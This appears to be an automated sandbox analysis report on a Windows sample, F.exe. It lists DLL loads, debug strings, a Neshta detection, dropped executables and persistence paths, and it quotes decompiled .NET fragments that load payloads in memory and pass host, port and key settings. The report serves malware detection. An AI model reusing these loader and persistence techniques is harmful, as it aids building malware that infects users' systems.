Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll

Source: C:\Users\user\Desktop\F.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\mnmJwSz.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: armsvc.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVDllSurrogate64.pdb source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdbOGP source: identity_helper.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb source: DW20.EXE.7.dr
Source:	Binary string: winload_prod.pdb source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\graphics_filterloader\x-none\FLTLDR.pdb source: FLTLDR.EXE.7.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection64.pdb source: Common.DBConnection64.exe.0.dr
Source:	Binary string: MicrosoftEdgeUpdate_unsigned.pdb source: MicrosoftEdgeUpdate.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CNFNOT32.EXE.0.dr
Source:	Binary string: GoogleCrashHandler64_unsigned.pdb source: GoogleCrashHandler64.exe.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdb source: msedge_pwa_launcher.exe.0.dr
Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\Aut2Exe\Aut2Exe.pdb source: Aut2exe.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb source: integrator.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb source: GRAPH.EXE.0.dr
Source:	Binary string: r.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dcf\x-none\FileCompare.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: filecompare.exe.7.dr
Source:	Binary string: WINLOA~1.PDB source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: integrator.exe.0.dr
Source:	Binary string: VSTOInstaller.pdb source: VSTOInstaller.exe.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\pp source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CLVIEW.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdblper.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SDXHelper.exe.0.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\aimgr.pdb source: aimgr.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdbOGP source: msedge_pwa_launcher.exe.0.dr
Source:	Binary string: AppVDllSurrogate64.pdbGCTL source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: @ntkrnlmp.pdb source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\ai.exe.pdb+ source: ai.exe.7.dr
Source:	Binary string: @winload_prod.pdbk source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb source: CNFNOT32.EXE.0.dr
Source:	Binary string: GoogleCrashHandler64_unsigned.pdbl source: GoogleCrashHandler64.exe.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\. source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: @winload_prod.pdb source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\ai.exe.pdb source: ai.exe.7.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\ai.exe.pdb source: ai.exe0.7.dr
Source:	Binary string: WINLOA~1.PDBa source: F.exe, 00000000.00000003.2055179492.00000000021D4000.00000004.00001000.00020000.00000000.sdmp, F.exe, 00000000.00000003.2055145770.00000000021D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: lper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\graphics_filterloader\x-none\FLTLDR.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: FLTLDR.EXE.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdbr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: AppSharingHookController.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb source: CLVIEW.EXE.0.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\DatabaseCompare.pdb source: DATABASECOMPARE.EXE.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdb source: identity_helper.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: DW20.EXE.7.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\ai.exe.pdb/ source: ai.exe0.7.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: GRAPH.EXE.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dcf\x-none\FileCompare.pdb source: filecompare.exe.7.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.3.F.exe.2257504.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.3.F.exe.2257504.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.3.F.exe.2257504.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: ._cache_F.exe.2.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: ._cache_F.exe.2.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: ._cache_F.exe.2.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 0.3.F.exe.2257504.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.3.F.exe.2257504.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.3.F.exe.2257504.0.raw.unpack, Messages.cs	.Net Code: Memory
Source: ._cache_F.exe.2.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: ._cache_F.exe.2.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: ._cache_F.exe.2.dr, Messages.cs	.Net Code: Memory

Source: C:\Users\user\Desktop\._cache_F.exe	Code function: 3_2_00007FF848F000BD pushad ; iretd	3_2_00007FF848F000C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0415629D push eax; ret	8_2_04156351
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06E6365C push cs; retf	8_2_06E6366E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06E60000 push es; ret	8_2_06E6001E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_04FB633D push eax; ret	21_2_04FB6351
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_04F04210 push ebx; ret	24_2_04F042DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_04F06338 push eax; ret	24_2_04F06341
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_04F03ACD push ebx; retf	24_2_04F03ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_04BE42CD push ebx; ret	27_2_04BE42DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_04BE2C95 push 04B80755h; retf	27_2_04BE2CEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_04BE2C5C push 04B80755h; retf	27_2_04BE2CEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_04BE3ADD push ebx; retf	27_2_04BE3ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 27_2_04BE3A78 push ebx; retf	27_2_04BE3ADA

Persistence and Installation Behavior

Yara detected Neshta

Source: Yara match	File source: 00000000.00000002.2697226300.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F.exe PID: 1560, type: MEMORYSTR

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\BJZFPPWAPT\~$cache1

Jump to dropped file

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\F.exe

File created: C:\Windows\svchost.com

Jump to dropped file

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\F.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe			Jump to behavior
Source: C:\Users\user\Desktop\F.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe			Jump to behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\._cache_F.exe

Executable created and started: C:\Windows\svchost.com

Jump to behavior

Infects executable files (exe, dll, sys, html)

